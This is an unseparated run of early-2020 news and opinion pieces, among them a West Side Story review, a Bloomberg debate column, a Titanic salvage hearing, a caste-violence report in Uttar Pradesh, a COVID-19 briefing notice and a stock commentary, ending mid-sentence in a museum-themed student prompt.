sweet-voiced, unaffected do their iconic parts proud. Powells superb Tony vibrates with energy and puppyish optimism; his rendition of Maria is revelatory, a show-and-heart-stopper. If Pimentels Maria seems less able to escape the shows occasional sabotage, her soprano is keenly lovely, a silvery fretwork above the rest of the ensembles brassy, swaggering noise. But when this West Side Story wants to be gritty, van Hoves sexy-wexy backdrop choices make it cheesy and anodyne; when a performer tries to be genuine, some awkward live zoom will reveal artificiality. Attention, both the audiences and the performers, is critically divided. Few people on earth can emote in close-up for the camera and realitys wide shot simultaneously; its an actors nightmare. This gives the experience an odd, juddering quality: the knowledge that were always, somehow, watching someone good at their worst. To be clear, this isnt a blanket condemnation of fixing something that wasnt broke. Of course its understandable that a director would encounter this material and want to rebel. Theres the challenge of its terrifying parentage: composed by Leonard Bernstein, written by Arthur Laurents and Stephen Sondheim, shaped by Jerome Robbins. In musical-theater terms, thats all our daddies in one place, and the content is pure teenage fury. Van Hove clearly feels that up-yours-grandpa impulse; you can sense him resisting every old success of the original project. For more than 60 years, productions have introduced the warring crews of West Side with Robbinss running, jumping, and snapping. But in van Hoves cut-down version, as the orchestra plays Bernsteins propulsive Prologue, the Jets saunter into the bare cavern of the mammoth Broadway Theatre as cool as homicidal cucumbers. They stop along the edge of the unadorned stage, staring outward like suspects in a lineup. The Sharks stride out, glaring menacingly at us in their turn. Bernsteins music runs and jumps and snaps up at them from the orchestra beneath their feet; the trumpets plead with them to move but they stay defiantly still. So we have plenty of time to size up the delinquents. Costume designer An DHuys puts everyone in modern street clothes, if the term street clothes can stretch past hoodies to include bandeaus and sequined dance slacks and temporary face tattoos. (Call it elevated gang-leisure.) Soon, the enormous back wall fills with their images. A camera mounted on the balcony rail zooms in to show us 20-foot-high close-ups of the company, sneering and posing hard in high-def. Seen from the audience, they look so grim! But onscreen, they look so pretty. The choreography of the long camera pan along their line turns the Jets and Sharks from toughs giving us a hard stare into models serving runway-ready stink eye. Thats the first gesture the video undermines; it wont be the last. Van Hoves interpretation is Hobbesian: brutal and short. The lush 1957 Romeo-and-Juliet story has been tightened to an intermissionless hour and 45 minutes, and one of Sondheims least favorite songs, I Feel Pretty, has been chopped out entirely. Robbinss choreography is gone, replaced by the Belgian postmodernist Anne Teresa De Keersmaekers work, though her contribution is actually a surprisingly conventional melange of styles. The musical itself forces her hand: If people sing about mambo-ing, then theyre gonna have to mambo. Even though this show has been freaking out critics since the beginning, the new team has decided to (further?) emphasize the shows savagery. The already vile taunting of Marias friend Anita (Yesenia Ayala, a profoundly effective actor and astounding dancer) has been translated into an unambiguous rape scene, caught in a hidden corner of the set by a voyeuristic camera. The racial makeup has changed the Jets, written as a white gang, are now a diverse group led by a black Riff (Dharon E. Jones), sometimes deliberately making it difficult to tell the Jets and Sharks apart. The authority figures are all still white, though: Doc (Daniel Oreskes, affecting in tiny moments) is still the well-meaning Jewish pharmacist; Lieutenant Schrank (Thomas Jay Ryan) and Officer Krupke (Danny Wolohan) are still terrifying and unsympathetic portraits of white legal coercion. These attempts at political commentary rebound unflatteringly, since the show seems unsure how to handle explicit violence in a world where the fights are so dancey. The sly, vaudevillian Gee, Officer Krupke is already about police malfeasance, for instance, so putting a montage behind it of black people in handcuffs and a shrine to those cut down by cop bullets is somehow both embarrassingly on the nose and a grave tonal misfire. And real-world trouble already touches the show. The protests continue some on the streets outside the theater over Amar Ramasars casting as gang leader Bernardo. Last year, Ramasar was one of the New York City Ballet dancers suspended and expelled for exchanging nude photographs of women in the company. After intervention by an arbitrator, he was reinstated. Producer Scott Rudin and van Hove have both been asked about the choice to cast Ramasar; both have expressed their full support. Van Hove has described the dancer as acquitted, which may mean he hasnt understood the disciplinary actions taken by NYCB. But Ramasar, once cast, actually needed a very different form of directorial support. West Side Story requires enormous things of its performers, and Ramasars singing voice is unsteady, his acting, rendered ludicrous by his stagePuerto Rican accent, hammy. Among so many triple and double threats, even his balletic elegance when he jumps its like a dolphin spinning seems like a small offering. In Ramasars Broadway debut, Carousel, Jack OBriens production heavily weighted his time onstage toward movement, bending to his strengths. Here, hes one of many among the America dancers and lost in the scrum of the fight scenes, and De Keersmaeker never offers him a bravura sequence. In the plot, though, hes the equivalent of Shakespeares Tybalt, the Prince of Sharks who needs to keep an entire Puerto Rican community together. Bernardo sets the tone: Its a tough acting challenge. Van Hove leaves him exposed. Which brings us back to that strange divided quality, that sense of a production fighting internally and leaving the actors to fend for themselves. Van Hoves austere aesthetic, devised by his brilliant longtime designer Jan Versweyveld, is leaner and more abstract than the typical Broadway look; he automatically modernizes everything he touches, from Shakespeare to ONeill. He also has a way of intensifying and interpolating male sexuality in relatively tight-zippered American classics as in his homoerotic A View From the Bridge, or his version of The Crucible that salivated over John Proctors bleeding back. Here, he gives Riff and Tony a lingering, nose-to-nose stare that makes us wonder how Riff sees Tonys defection, and all the guys like to fight with their shirts off in a gigantic onstage rainstorm, because shirts are so confining. So far, so good. But when van Hove introduces those video components, his control wavers and crashes. At his best, hes a minimalist, skilled with compression and reduction. But even though hes been working with projection for ages, the filmscapes in his shows are too frequently sloppy and unattractive. Here they are at their worst: aesthetically inchoate (they seem as if theyve been made by a half-dozen different hands), and the entire stage composition has almost never been taken into account. And what good do they do? A hefty percentage of the footage is in slow-mo, so we watch a 25-foot Tony walk moodily down a street in slow motion, or the Jets bro-ishly pummel one other in slow motion, or Bernardo put on a shirt in slow motion. We dont tend to see much of the women in these sequences, so they steer directly into a boy-band-music-video vibe. (Man, One Direction got serious.) Worse, though, are the live images. Onstage, actors sometimes shoot one another from unsteady iPhones, which makes a dizzying, distracting backdrop. And some interior scenes, like Docs pharmacy, are shot in completely realized sets that are either partly or completely obscured from the audience. Fixed cameras peep around corners; their transmissions have the flat look of soap-opera scenes, and they do no favors to the actors inside them. So is it all trash? No. Its self-defeating for long sections, but theres enough promising material to wish that everyone could have just taken a year off and tried again. Sure, the screen utterly overpowers the stage while also feeling like an afterthought but that makes the first decision easy. Switch off the projectors. The good moments are already the ones that dont rely on video. The rumble in the rain is thrilling, for instance, and De Keersmaeker echoes other Romeo and Juliet ballets to stage a powerful non-balcony Balcony Scene, with Maria and Tony leaning like ships figureheads as their communities pull them apart. And instead of the traditional Somewhere ballet, van Hove has the ensemble sing the song together under deep orange sodium light, lovers everywhere dreaming of walking two-by-two. He generalizes the central pairs plight out to the entire company. Its in this simple Somewhere that van Hove touches the live wire of his own show. He escapes the claustrophobic literalism of the video; he says something new and valuable and beautiful about West Side Story. Somewhere turns out to just be a stage with bodies on it. Start from there. West Side Story is at the Broadway Theatre. *A version of this article appears in the March 2, 2020, issue of New York Magazine. Subscribe Now! I never thought Id feel sorry for a billionaire a $60 billion billionaire. But watching Mike Bloomberg getting beat up in the Democrat debate in Vegas Wednesday night was almost tragic. It was like watching an old boxer who gets clocked early in Round 1 and then wobbles around the ring in a daze for the rest of the fight while hes pounded unmercifully. Mike never recovered from the opening series of left hooks and below-the belt punches delivered by Bernie, Liz, Pete, Amy and old Joe. For two hours, he was slapped around and bullied by his much taller, much poorer and much better-prepared opponents. Mini-Mike found out fast that he was definitely not among friends. For millionaire socialists like Bernie and Liz, simply being a multi-billionaire capitalist was an unforgivable original sin no matter how self-made he was, how hard or smart he worked or how much of his wealth hes given away. And thanks to the accusations about his sexist tongue, his allegedly racist remarks about New Yorks stop-and-frisk crime policy and his arrogant quest to buy the Democrat Party presidential nomination, Mike was put on the defensive all night. Even the refs NBCs all-liberal moderators had no mercy. They didnt challenge Mikes opponents low blows or question their ludicrous plans to have the federal government fix everything wrong with America. By now, everyone in the country knows that Mikes debate debut was a total disaster. Like Rick Perry and Rudy Giuliani in 2016, he turned out to be all media hype and hope. Along with his advisers, even his makeup person fell down on the job. Mike didnt appear anywhere near as youthful or sharp-minded as he does in his slick TV ads. Mini-Mikes failure reminds me of what Homer Simpson said to his daughter Lisa after she asked him how she did when she sang at a school concert. Honey, Homer said, you tried your best. You failed miserably. The lesson is, never try. Homer would give the same advice today to Mike, who spent more time apologizing than explaining how his policies differ from his competitors. He did get off a few sarcastic quips. But apparently he was so afraid of stepping into a politically incorrect hole that he didnt take ownership of the good things hes accomplished or get even a little bit mad at being a public punching bag. Liz, Pete, Amy and Joe all got their jollies taking cheap shots at Mike and his fat wallet. But they did nothing to stop the juggernaut that is going to run all of them over in the coming primaries Bernie Sanders. Bernie was stronger than ever in Vegas. He looked crazy and sounded great as usual. And no matter what the issue was, he always managed to end up on the same ideological soapbox shouting for more socialism, more taxes and stricter government control over evil capitalism. Liz was tougher than usual and quick on her feet. But she also was her annoying professorial self a tiresome know-it-all and a left-wing moral scold who, along with Bernie, wants to save the planet by implementing the Green New Deal and outlawing fossil fuels. Mayor Pete, the youngest and poorest candidate, did pretty well. When he wasnt having a high school lunchroom cat fight with Amy, his fellow moderate, he seemed to be the only adult on stage. She did her standard third-place job. Poor Joe. No one picked on him or paid much attention to him because his candidacy is in a death spiral. He was not as incoherent as usual. But he embarrassed himself by bragging so much about how much experience hes had in D.C. that he made it sound like President Obama had been his V.P. So the consensus is clear: The big loser of the night, other than the Democratic Party, was Mini-Mike. And the big winner was Bernie. But we all know that in the long run the real winner for the ninth Democrat debate in a row was Donald Trump. Michael Reagan is syndicated by Cagle Cartoons. Were very sad about what happened, but also very angry, said Leyla Acar, co-chairwoman of Kon-Med, an association of Kurds in Germany, adding that at least five of Wednesdays shooting victims were Kurdish. What are the politicians doing? They always say they are against racism, right-wing extremism, but what do they do? NORFOLK, Va. - The salvage firm that has plucked silverware, china and gold coins from the wreckage of the Titanic now wants to recover the Marconi Wireless Telegraph Machine that transmitted the doomed ships increasingly frantic distress calls. Lawyers for the company, R.M.S. Titanic, Inc., called witnesses before a federal judge on Thursday to explain why the company should be allowed to possibly cut into the rapidly deteriorating ship to recover the device before its irretrievable. Its one of those iconic artifacts, like the signal flares (that the sinking ship launched), testified David Gallo, an oceanographer who retired from Woods Hole Oceanographic Institution and is now a paid consultant for the firm. Gallo, who testified in federal court in Norfolk, Virginia, said that salvaging the device would not be grave robbery but a way to connect people to the ships legacy and honour its passengers. U. S. District Judge Rebecca Beach Smith, the maritime jurist who presides over Titanic salvage matters, said it was too early for her to make any decisions on the proposal. She said she needed more details and proposed scheduling another hearing sometime in the future. The Titanic was travelling from England to New York when it struck an iceberg at 11:40 p.m. on April 14, 1912. The large and luxurious ocean liner sent out distress signals using the relatively new Marconi wireless radio system. The messages in Morse code were picked up by other ships and onshore receiving stations. They included: We require immediate assistance ... Have struck iceberg and sinking ... We are putting women off in boats. The ship sank in less than three hours, with the loss of all but 700 of the 2,208 passengers and crew. An international team led by oceanographer Robert Ballard located the wreckage in 1985 on the North Atlantic seabed, about 400 miles (645 kilometres) off Newfoundland, Canada. RMS Titanic Inc., oversees a collection of thousands of items recovered from the site over the years as the court-recognized salvor, or steward of the artifacts. The company has argued that time is running out to retrieve the telegraph machine. It has been referred to as the voice of the Titanic, which also delivered the ships last words. The device is located in a room on the ships deck. A gymnasium on the other side of the grand staircase has already collapsed. The roof above the telegraph machine has begun to perforate. Im not sure if we go in 2020 that the roof wont be collapsed on everything, testified Paul Henry Nargeolet, director of the companys underwater research program. The company is already facing resistance from the National Oceanic and Atmospheric Administration, which represents the publics interest in the wreck site. The U.S. Attorneys Office in Virginia represents NOAA. Its attorneys argued in court documents that the proposed retrieval runs contrary to prior court orders that prohibit the firm from cutting holes or taking items from the wreck. The items that the firm has salvaged came from a debris field outside the ship. It seems clear that this is not simply a one-off proposal for the Marconi Wireless Telegraph, but a placeholder for future requests to take similar actions in order to recover other artifacts from inside the wreck, federal attorney Kent P. Porter wrote. Porter also wrote that the court must consider international agreements involving the wreck as well as archaelogical standards to determine whether the retrieval is justified. He cited the United Kingdom-based Joint Nautical Archaeology Policy Committee, which said the company has failed to adequately justify its proposal. Karen Kamuda, president of the Massachusetts-based Titanic Historical Society, Inc., told The Associated Press in an email that the society has been against disturbing the wreck since 1985 because it is a gravesite. As usual, its all about money, she wrote. OTTAWAThere has been an uptick in online calls for vigilante action against Wetsuweten solidarity protests among hate groups and far-right activists, the Canadian Anti-Hate Network says. Evan Balgord, a researcher with the network, says the protests in support of Wetsuweten heredity chiefs are the number one topic of conversation among hate groups and far-right fringe groups online, with many calling for violence to remove the protesters. It is difficult to quantify the reach of those messages, and impossible to say if they will translate into anything more than talk. But Balgord said the groups were inspired by counterprotesters who removed a barricade in Edmonton Wednesday. Theres a lot of celebration of those couple of guys who dismantled that barricade of sorts in Edmonton and calls for people to do similar things, Balgord said in an interview Thursday. But not just to tear down those blockades but a lot of the calls are specifically like, if they are blocking streets, we should run over them. Law enforcement agencies have resisted intervening in the protests as the federal government seeks a peaceful resolution. The protests now in their second week and happening across the country are in support of Wetsuweten hereditary chiefs who oppose the Coastal GasLink liquid natural gas pipeline in northern British Columbia. While the pipeline has the support of elected band councils along its route, the opposition by the hereditary chiefs has sparked a widespread protest movement that has disrupted much of Canadas rail transport. The Liberal government is under considerable pressure both from the opposition Conservatives and from business groups to find a way to lift the blockades. But the possibility of clashes between pipeline protesters and counterprotesters makes a complicated situation more difficult for law enforcement. The primary objective of the police in all these instances is public safety, whether it be demonstrators, police officers themselves, or now vigilantes. Its a difficult, difficult, complex environment in which to operate and not be judged as biased or partial to a particular outcome, former RCMP Commissioner Bob Paulson told the Star in an interview. Paulson said the RCMPs intelligence branch would be assessing anyone on either side protester or counterprotester who is advocating violence. (And) if they had information that counterprotesters were there, I think itd be diligent to be nearby. Because theres going to be trouble, Paulson said. The Star asked Public Safety Minister Bill Blairs office if they were concerned about the counterprotests escalating an already tense situation, whether the minister had discussed the matter with the RCMP, and if the government is doing anything to monitor the situation on a national level. The ministers office did not address those questions. As weve maintained throughout this difficult time, we will always advocate for the adherence to the rule of law and peaceful resolution to these disputes, wrote spokesperson Mary-Liz Power. The police are following their training, their procedures, and they are working diligently to resolve this matter peacefully. In a statement, the RCMP said that any unlawful interference would be investigated. The role of the RCMP when unlawful acts occur is to optimize public safety, preserve the peace and enforce the law, while upholding the fundamental freedom of peaceful demonstration and expression of ideas, said a spokesperson for the force in a statement to the Star. Those who unlawfully interfere with, or threaten the safety of any person or property, will be investigated in accordance with the law. Steve Summerville, a former Toronto Police Service staff sergeant who runs a security consulting firm, said law enforcement agencies policing the blockades must have a plan in place in case counterprotesters escalate a situation. But he said the dynamic is not unusual to police, who would likely be reluctant to intervene unless there was a clear risk to public safety. The Charter of Rights very clearly lays out what youre able to do, unless your actions create a significant risk to the others, Summerville said in an interview. And Im not talking about having your feelings hurt, or having you be called names. Im talking about something just short of somebody getting hurt or worse. Read more about: Chetana Belagere By Express News Service BENGALURU: Every child on Earth faces an uncertain future and no country offers a child both the chance of a healthy upbringing and an environment fit for their future, a report commissioned by the World Health Organisation, UNICEF and British health research journal Lancet says. According to the report, India is ranked 77 on a sustainability index that takes into account per capita carbon emissions and 131 on a flourishing ranking out of 180 countries that measures the best chance at survival and well-being for children. The report is based on a study conducted by 40 child and adolescent health experts from around the world. The experts warned that progress over the last two decades is set to reverse if radical changes are not made by the governments around the globe. The report stated that the worlds survival depends on children being able to flourish, but no country is doing enough to give them a sustainable future. No country in the world is currently providing the conditions we need to support every child to grow up and have a healthy future, said Anthony Costello, Professor of Global Health and Sustainability at University College London, one of the lead authors of the report. Agreeing with this, Raje Gowda, Senior Scientist and Head of Krishi Vigyan Kendra, Kandali, said it is very important to change the approach to child and adolescent health to protect the world they will inherit in future. Report highlights threat to children from harmful TV advertisements Countries have to work towards protecting our environment, not just in terms of climate change, but all parameters the report talks about. Exposure to violent advertisements, malnutrition, spike in infectious diseases such as Malaria and the rising global temperatures are definitely a cause for worry, Raje Gowda said. The report said more than two billion people live in countries where development is hampered by humanitarian crises, conflicts, and natural disasters, and problems increasingly linked with climate change. It said flourishing is the geometric mean of surviving and thriving. For surviving, the authors selected maternal survival, survival in children younger than five years old, suicide, access to maternal and child health services, basic hygiene and sanitation, and lack of extreme poverty. For thriving, the domains were educational achievement, growth and nutrition, reproductive freedom and protection from violence. Under the sustainability index, the authors noted that promoting todays national conditions for children to survive and thrive must not come at the cost of eroding future global conditions for childrens ability to flourish. The sustainability index ranks countries on excess carbon emissions compared with the 2030 target. In 2015, the worlds countries agreed on 17 sustainable development goals (SDGs), including no hunger, zero poverty and climate action. But five years on, little progress has been made towards achieving them. The NITI Aayog was tasked with overseeing the implementation of SDGs in India since September 2015. As part of its resolution to Transforming our world: the 2030 Agenda for Sustainable Development, India had committed to achieving the 17 SDGs and the 169 associated targets, which comprehensively cover social, economic and environmental dimensions of development and focus on ending poverty in all its forms and dimensions. Very little has happened in this regard. India had decided to lessen carbon emissions and this will be compensated by activities like tree planting. Other than tree planting drives and a few health development ones, nothing much seems to have happened in India, and hence probably, we are ranked 131, said an expert. The report also highlighted the threat posed to children from harmful marketing. It found they were exposed to as many as 30,000 television advertisements a year, including those on alcohol, junk food and sugary soft drinks. Lancet editor-in-chief Dr Richard Horton said, This calls for the birth of a new era for child and adolescent health. It is the supreme test of our generation. The only countries on track to beat CO2 emission targets by 2030, while also performing fairly on child health and well-being were Albania, Armenia, Grenada, Jordan, Moldova, Sri Lanka, Tunisia, Uruguay and Vietnam. This morning, a middle-aged woman from Mangta village in Kanpur Dehat was going to a farm to relieve herself when she was attacked by a masked man with a 'poisonous powder' that caused her to pass out. This morning, a middle-aged Dalit woman from Mangta village in Kanpur Dehat was going to a farm to relieve herself when she was attacked by a masked man with a "poisonous powder" that caused her to pass out. The incident occurred around 6 am. She was found lying in the bushes a few hours later. The woman was first taken to the district hospital after which she was referred to Hallett Hospital in Kanpur Town. She regained consciousness in the second half of the day. This is the her recollection: "I saw a car. As soon as I sat down, a man alighted. His face was covered. He began abusing me and called me "chamaran". He said they 'couldn't hit us in the fight the other day but today they'd take revenge wholeheartedly'. He said, 'Bhim ka naam kehna band naa karwa diya tum logon se, toh mai bhi Thakur nahin.'" The woman's husband said, "She told us that there was only one person involved who said 'bahut zyada bodh katha sunti ho na, abb nahin sun paogi' before throwing the powder at her." The husband looked afraid. "There are cops in every part of the village. How could this happen?," he asked. "We will now have to think twice even before going to relieve ourselves. What kind of life is this?" According to Kumar, a local, most farms are owned by upper caste men and Dalits often have to relieve themselves in the fields. Anurag Vats, Superintendent of Police, Kanpur Dehat, said, "The woman was found unconscious. People started a rumour that she was raped by multiple upper caste men. We have caught some people who have spread this rumour. Such things only spreads discord between communities." An FIR has been registered in the case and the powder has been sent for analysis, Vats added. Mangta village has been tense since early February, when local Dalit leader Amit Kumar organised a week-long programme called Bhim Katha. Chandu Singh, a Thakur from the village, claimed "derogatory" words were used for upper castes during the programme. He cited this example of a derogatory slogan: "Na koi Ramayana, na koi Purana, iss desh ko chala raha hai keval Ambedkar ka samvidhan". Just days earlier on 4 February saw a heated argument between two communities. There was a wedding in a Thakur household and they'd asked that the Bhim Katha be stopped for a "few hours." Kumar, the organiser of the programme, refused. "How could we stop the programme just because there was a wedding two kilometres away?" Kumar asked. "There was an audience of 400 to 500 people. We couldn't just stop it. That also angered them." On 12 February, some youths, allegedly from the Thakur families, retaliated by ripping up a poster of BR Ambedkar during a Shobha Yatra held by the Dalit community. A day later, members of the two communities engaged in a verbal back and forth in the morning. Then, around 9 am, two areas where Dalit families live were attacked and several women and children assaulted with "hammers" and "lathis". Many women suffered head injuries and others had their bones broken. A five-year-old suffered a fracture of his left hand. It was this incident that the assailant was referring to. Of the 28 admitted to hospital, only three were men. The police arrested 13, all from the upper caste. Suresh Singh, the husband of the former pradhan of the village, explained what happened, "A stupid 14-year-old kid tore that poster in fun and games. All the tensions arose because of this. It was nothing, We would have replaced that one poster with three more posters, but they thought we'd disrespected them and they simply refused to listen to us." A week of calm followed. And then today's incident occurred. Dalit leader Usha Rani Kori visiting the woman at the hospital, said, "It's very sad. I cannot fathom how these incidents still occur. The woman was conscious, but she couldn't speak much or even remember her family well." Kori claimed the BJP-led government's "caste-based politics" was responsible for such incidents. Alok Prasad Pasi, chairperson of the Scheduled Caste Department of Uttar Pradesh Congress Committee, said the Uttar Pradesh Police had failed to protect the woman. Pasi said, "The Dalit community was silently conducting a programme which irked the upper caste community. A clash was stopped once with police intervention, but on 13 February, a Thakur mob openly attacked the Dalits. While visiting the victims, the police assured us that security arrangements have been made in order to avoid a repeat of any such incidents. But how is it that a woman was attacked in broad daylight?" Pasi, referring to three recent cases in Faizabad, Ayodha and Gorakhpur, said Dalits across Uttar Pradesh are being oppressed. In Ayodha, a Dalit girl was raped, and committed suicide after police took no action for three days, Pasi said. Pasi added that in Gorakhpur, a rape occurred in the police station near Chief Minister's Yogi Adityanath's residence."They talk about women's safety. The girl was kidnapped and raped by two men in police uniform. She was admitted in the hospital. When I reached there, she told me she clearly saw her rapists were two policemen. She kept asking for a parade so she could identify them, but that hasn't happened," Pasi said. [The stream is slated to start at 10 a.m. ET. Please refresh the page if you do not see a player above at that time.] World Health Organization officials are holding a press conference Friday to update the public on the coronavirus outbreak, which has infected more than 76,700 and killed at least 2,251 so far. Named COVID-19, the virus has shuttered commerce across much of China and is hitting company earnings, global stock markets and manufacturing across the world. WHO officials declared the virus a global health emergency last month, while urging the public against over-reacting to the virus. However, the COVID-19 epidemic in China has not yet met world health officials' designation of a global pandemic that spreads far and wide throughout the world. While it has spread to more than two dozen countries, international health officials say there's little transmission on local levels outside of China right now. They have warned that could quickly change. On Friday, Iran's Health Ministry reported 13 new cases, which brings total in the country to 18, including four deaths. Iranian health official Minou Mohrez said Friday it's possible the virus has already spread to every Iranian city, according to Reuters. "Based on existing reports, the spread of the coronavirus started in Qom and with attention to people's travels has now reached several cities in the country, including Tehran, Babol, Arak, Isfahan, Rasht, and other cities. And it is possible that it exists in all cities in Iran," he said. In South Korea, cases nearly doubled overnight, surpassing 200. The Korea Centers for Disease Control and Prevention said Friday that most of the new cases came from the city of Daegu, with many linked to a possible outbreak at Sincheon Daegu Church. South Korean health officials have now confirmed 204 cases in the country. A hospital in Beirut confirmed Lebanon's first case of the virus, Reuters reported, and an infected traveler from Iran brought the virus to Israel. Read CNBC's live updates to see the latest news on the COVID-19 outbreak. Police have launched an investigation into the killing of a 74-year-old Swedish missionary in her rented house in Milimani estate, Kitale town, Kenya. Trans Nzoia West OCPD Joseph Tum told the press in Kitale that the woman Lilian Bourcart might have been r.a.p.e.d before being strangled to death. He said the deceased stayed alone but had two workers who walked to their respective homes after work. One of her workers, Ms. Philomena Chepkorir, 27, told police that she reported to work at around 8 am and found the doors open only to realize that her boss had been killed. Police said her body was found in the garage that also served as a store, with blood oozing from her private parts. Tum said a suspect has been arrested and is helping police with investigations. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Source: Xinhua| 2020-02-21 20:46:38|Editor: xuxin Video Player Close TOKYO, Feb. 21 (Xinhua) -- Japan and South Korea have agreed to hold talks on export controls next month, Japan's Trade Ministry said on Friday. The director general-level dialogue between Yoichi Iida, director general of the ministry's trade control department, and his South Korean counterpart Lee Ho-hyun, will be held on March 10 in Seoul. The officials are expected to discuss Japan's tighter export screening on some high-tech materials, as well as South Korea's trade controls. According to Japan's Trade Ministry, Tokyo wants to consult with Seoul about its progress on the trade control system and related legislation. The two sides previously met last December for the first time in three-and-a-half years, as both sides look to address a bitter diplomatic row stemming from a wartime labor dispute spilling over into trade and security areas. ATLANTA, Feb. 21, 2020 /PRNewswire/ -- Invesco Mortgage Capital Inc. (NYSE: IVR) (the "Company") today announced it will hold its 2020 Annual Meeting of Stockholders on Tuesday, May 5, 2020 at 2:00 pm ET at the Company's headquarters, located at 1555 Peachtree Street NE, 18th Floor, Atlanta, Georgia 30309. Stockholders of record of the Company as of the close of business on March 5, 2020 are entitled to attend the Annual Meeting and vote their shares. About Invesco Mortgage Capital Inc. Invesco Mortgage Capital Inc. is a real estate investment trust that focuses on financing and managing residential and commercial mortgage-backed securities and mortgage loans. Invesco Mortgage Capital Inc. is externally managed and advised by Invesco Advisers, Inc., a subsidiary of Invesco Ltd., a leading independent global investment management firm. Additional information is available at www.invescomortgagecapital.com. Investor Relations Contact: Brandon Burke, 800-241-5477 SOURCE Invesco Mortgage Capital Inc. Related Links http://www.invescomortgagecapital.com BAKU, Azerbaijan, Feb. 21 Trend: The instructions and recommendations of Azerbaijani President Ilham Aliyev to the local executive bodies on the operational review of citizens appeals, improvement of the process of their acceptance and hearing were considered by the Gadabay District Executive Power as a priority, Trend reports. The process has been thoroughly studied, the local specificity has been carefully investigated, and international experience in this field has been mastered. Operational Service Center has been opened in the administrative building of Gadabay district to provide citizens with convenient reception of documents in transparent conditions and without waste of time. The purpose of the center is to optimize services and activities within the competence of the district executive power, to ensure quick solving of citizens appeals, to ensure that the citizens simultaneously interact with all the structural units of the executive power in a single place, to provide high quality services. A new building of 625 square meters has been constructed on the territory of Gadabay District Executive Power to ensure the operation of the Operational Service Center. During the preparation of the buildings construction plan special attention was paid for its adaptation to the service area. There are 9 service desks, a server room, information desk, a large monitor, a mini telephone exchange and Data Resource base, 8-person round table for volunteers, a turn-key terminal, a payment terminal called Milli On, and 9 computer sets at the executive power building. On the large monitor installed in the center, it is possible to see the names of services, departments responsible for those areas, samples of required documents, execution period of documents and legislative base. Each area is equipped with telephone and computer sets and internet access. Citizens entering the center select a relevant section and the terminal automatically determines the queue. Citizen submits documents to an employee of the relevant department, a minimum number of working days is set for resolution of the appeal, and a citizen is informed about the date of preparation of the document. There is full video surveillance of the process. At the same time, automated accounting of service statistics is maintained throughout the day. The Operational Service Center offers 16 services on architecture and construction, 10 services on law, 8 services on representative offices and municipalities, as well as 7 services on social and economic issues. Many issues are implemented within 5 working days while they are considered by the legislation for a period of 30 days. At the same time, a citizen can pay taxes for required services through a payment terminal at an operational service center without going to the bank. The hotline (164) has been set up at the center for prompt resolution of applications. There are volunteers to improve the efficiency of the services at the center as well. By means of a special car allocated by the executive power, disable people are assisted in dealing with documentation work. Operational Service Center, first established in Gadabay district for the purpose of more effective and creative execution of the orders of Azerbaijani President Ilham Aliyev, is aimed at increasing the level of citizens satisfaction, trust and confidence to executive power. The purposes of the Operational Service Center include acceptance of documents in transparent conditions, prevention of time loss, prevention of procrastination and corruption, ensuring that a citizen simultaneously interacts with all the structural units of the executive power in a single place. The purposes also include creating business environment, sensitive attitude, possibility of citizens appeals to local authorities at any time of the day, increasing citizens trust to executive power, as well as enhancing the level of citizens satisfaction. Passive investing in index funds can generate returns that roughly match the overall market. But one can do better than that by picking better than average stocks (as part of a diversified portfolio). For example, the China Beststudy Education Group (HKG:3978) share price is up 49% in the last year, clearly besting the market return of around -5.1% (not including dividends). So that should have shareholders smiling. Note that businesses generally develop over the long term, so the returns over the last year might not reflect a long term trend. View our latest analysis for China Beststudy Education Group There is no denying that markets are sometimes efficient, but prices do not always reflect underlying business performance. By comparing earnings per share (EPS) and share price changes over time, we can get a feel for how investor attitudes to a company have morphed over time. During the last year, China Beststudy Education Group actually saw its earnings per share drop 34%. So we don't think that investors are paying too much attention to EPS. Since the change in EPS doesn't seem to correlate with the change in share price, it's worth taking a look at other metrics. We think that the revenue growth of 24% could have some investors interested. We do see some companies suppress earnings in order to accelerate revenue growth. You can see how earnings and revenue have changed over time in the image below (click on the chart to see the exact values). SEHK:3978 Income Statement, February 21st 2020 We consider it positive that insiders have made significant purchases in the last year. Having said that, most people consider earnings and revenue growth trends to be a more meaningful guide to the business. You can see what analysts are predicting for China Beststudy Education Group in this interactive graph of future profit estimates. A Different Perspective China Beststudy Education Group boasts a total shareholder return of 49% for the last year. And the share price momentum remains respectable, with a gain of 40% in the last three months. This suggests the company is continuing to win over new investors. I find it very interesting to look at share price over the long term as a proxy for business performance. But to truly gain insight, we need to consider other information, too. To that end, you should be aware of the 4 warning signs we've spotted with China Beststudy Education Group . Story continues There are plenty of other companies that have insiders buying up shares. You probably do not want to miss this free list of growing companies that insiders are buying. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Find all our Student Opinion questions here. What has been your most memorable visit to a museum, good or bad? What type of museum was it and where was it located? What makes this experience stand out in your mind? A particular exhibit, activity or performance? How did you feel being there? What, if anything, would have made it better? In Grown-Up Art at a Childrens Museum, but Its Still Playtime, Laurel Graeber writes about her visit to the Childrens Museum of Manhattan: On a recent visit to an exhibition, I broke what is usually a museums most immutable rule. I touched the art. No shocked guards stopped me or shooed away the many smaller patrons who were doing the same. Granted, this was the Childrens Museum of Manhattan. But unlike many displays for the young, this one, Inside Art, features work by 11 adults whose resumes include the Jewish Museum, El Museo del Barrio and the Whitney. The show lets visitors encounter art not as a child sort of pretending to be an adult, said Leslie Bushara, the museums deputy director of education and exhibitions, but running around like a child. Run around they do. Joiri Minayas Spandex Installation #6 (Labyrinth) invites the curious into a vibrantly printed fabric maze. Up & Around, a cluster of large cylinders suspended vertically by the duo Yeju & Chat, beckons museumgoers to stand inside each tube and experience bursts of color and pattern. Adrienne Elise Tarvers Fera Septa is a beguiling mesh canopy resembling tropical leaves. Ms. Graeber describes how visitors are invited to interact with the artwork and the artists: The work gets well loved, Ms. Bushara said, which means that its creators have to live near enough to repair damage. But the museum also chose local artists so they could lead public programs. A multicultural group, they have been charged with forming a neighborhood within the museum, not just as demographers would define it, but as Mister Rogers would have, too. That means not just artwork you can crawl through, Mr. Rios said, but youre making art in the same space, were having dialogue in the same space, and eventually well start to have performances. Borinquen Gallos Be(e) Sanctuary, an artificial hive built of plastic debris, is itself a 